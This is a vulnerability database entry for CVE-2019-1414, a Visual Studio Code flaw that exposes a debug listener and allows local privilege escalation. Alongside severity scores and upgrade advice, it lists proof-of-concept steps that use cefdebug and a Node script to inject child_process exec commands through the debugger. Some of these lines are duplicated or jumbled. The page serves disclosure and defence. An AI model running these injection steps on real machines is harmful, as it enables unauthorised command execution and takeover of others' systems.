Attacker Value
Very High
0
CVE-2019-1414
0
CVE ID
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CVE-2019-1414
(Last updated October 06, 2023) ▾
MITRE ATT&CK
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Collection
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Command and Control
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Credential Access
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Defense Evasion
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Discovery
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Execution
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Exfiltration
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Impact
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Initial Access
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Lateral Movement
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Persistence
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Privilege Escalation
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Description
An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer, aka ‘Visual Studio Code Elevation of Privilege Vulnerability’.
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2
Ratings
-
Attacker ValueVery High
-
ExploitabilityMedium
Technical Analysis
Vulnerability:
- An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer. A local attacker who successfully exploited the vulnerability could inject arbitrary code to run in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
Software Versions Affected:
- All versions < 1.39.1
Vulnerability Severity:
- High
Vulnerability Fix:
- Upgrade VS Code to version 1.39.1 or later.
Vulnerability POC:
- If Visual Studio code runs as Administrator, privileges can be elevated to the highest level, i.e. NT AUTHORITY\SYSTEM.
- If Visual Studio Code runs as another user, command execution can be achieved as that user.
- If Visual Studio Code runs in High Integrity context, any UAC settings can bypassed and can elevate from Low/Medium levels.
- Linux (Article detailing the exploit):
- ps aux | grep inspect
- Find the debug port
- Find the debug port
- node index.js 127.0.0.1
<PORT><COMMAND>
- Run index.js supplied with the ip address, port, and command you want to run
- Run index.js supplied with the ip address, port, and command you want to run
- ps aux | grep inspect
- Windows:
- ./cefdebug.exe
- Find the debug port
- cefdebug is a minimal commandline utility and/or reference code for using libwebsockets to connect to an electron/CEF/chromium debugger.
2 ./cefdebug.exe —url ws://127.0.0.1:<PORT>/<UUID>—code “process.mainModule.require(‘child_process’).exec(’<COMMAND>’)”
- Run cefdebug supplied with the debug websocket url and the command you want to run
- Find the debug port
- ./cefdebug.exe
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Data provided by the National Vulnerability Database (NVD)
Base Score:
7.8 High
Impact Score:
5.9
Exploitability Score:
1.8
Attack Vector (AV):
Local
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High
General Information
Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
Visual Studio Code
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown
Vendors
- microsoft
Products
- visual studio code
References
Additional Info
Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Rapid7
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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